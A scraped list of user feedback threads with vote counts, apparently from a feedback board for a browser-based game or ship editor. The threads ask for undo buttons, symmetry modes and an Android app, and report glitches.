  592 agree

• Two major glitches
  By BeyPokéDig - 154 months ago
  Unvote

  590 agree

• battle
  By alexof - 152 months ago
  Unvote

  579 agree

• Save
  By DevilishDB - 153 months ago
  Unvote

  579 agree

• Undo button
  By wombat - 152 months ago
  Unvote

  572 agree

• Doesn't work on ismittromneythepresident.com
  By MassMurdererOver9000 - 148 months ago
  Unvote

  567 agree

• achievements
  By Lee - 154 months ago
  Unvote

  565 agree

• Posting times of feedback and feedback comments
  By BeyPokéDig - 154 months ago
  Unvote

  564 agree

• how do i draw the outline
  By kickassisdeboss - 154 months ago
  Unvote

  564 agree

• omfg
  By Russellmichael13 - 153 months ago
  Unvote

  558 agree

• Pen tool
  By Cblackdragon - 149 months ago
  Unvote

  553 agree

• You guys should have a symmetrical mode
  By Idrees - 154 months ago
  Unvote

  523 agree

• White labeling the app?
  By Peter.dibart - 150 months ago
  Unvote

  522 agree

• Menu not showing up
  By Patrick.Fletcher.118 - 154 months ago
  Unvote

  519 agree

• Enemies
  By Agallup16 - 154 months ago
  Unvote

  511 agree

• Mirrored editing
  By wombat - 152 months ago
  Unvote

  506 agree

• Designer
  By Anonymous - 155 months ago
  Unvote

  498 agree

• need some advice
  By Hao - 152 months ago
  Unvote

  496 agree

• Rankings
  By heyo - 154 months ago
  Unvote

  493 agree

• Benefits from improving ranks
  By hurrtz - 150 months ago
  Unvote

  490 agree

• Pro!!
  By Jtbui20 - 153 months ago
  Unvote

  488 agree

• Button
  By Cottonball - 153 months ago
  Unvote

  483 agree

• Forums
  By BeyPokéDig - 154 months ago
  Unvote

  479 agree

• help
  By Russellmichael13 - 153 months ago
  Unvote

  477 agree

• android app
  By Barissenkal - 146 months ago
  Unvote

  469 agree

• Undo Button
  By Cblackdragon - 149 months ago
  Unvote

  467 agree

• Extra weapons
  By MassMurdererOver9000 - 149 months ago
  Unvote

  465 agree

• 1 agrees
  By BeyPokéDig - 154 months ago
  Unvote

  462 agree

• I am using this on my site
  By Idrees - 154 months ago
  Unvote

  461 agree

• Image for ship
  By wombat - 152 months ago
  Unvote

  455 agree

• 0xp till| Only GA.
  By StoleYourFood - 149 months ago
  Unvote

  455 agree

• Question
  By Kickin Ass - 154 months ago
  Unvote

  442 agree

• how come the editor is so hard to use
  By Rcasassin - 151 months ago
  Unvote

  434 agree

• You guys need an undo button
  By Idrees - 154 months ago
  Unvote

  432 agree

• page moving up/down while controling the ship?
  By Tommy - 154 months ago
  Unvote

  420 agree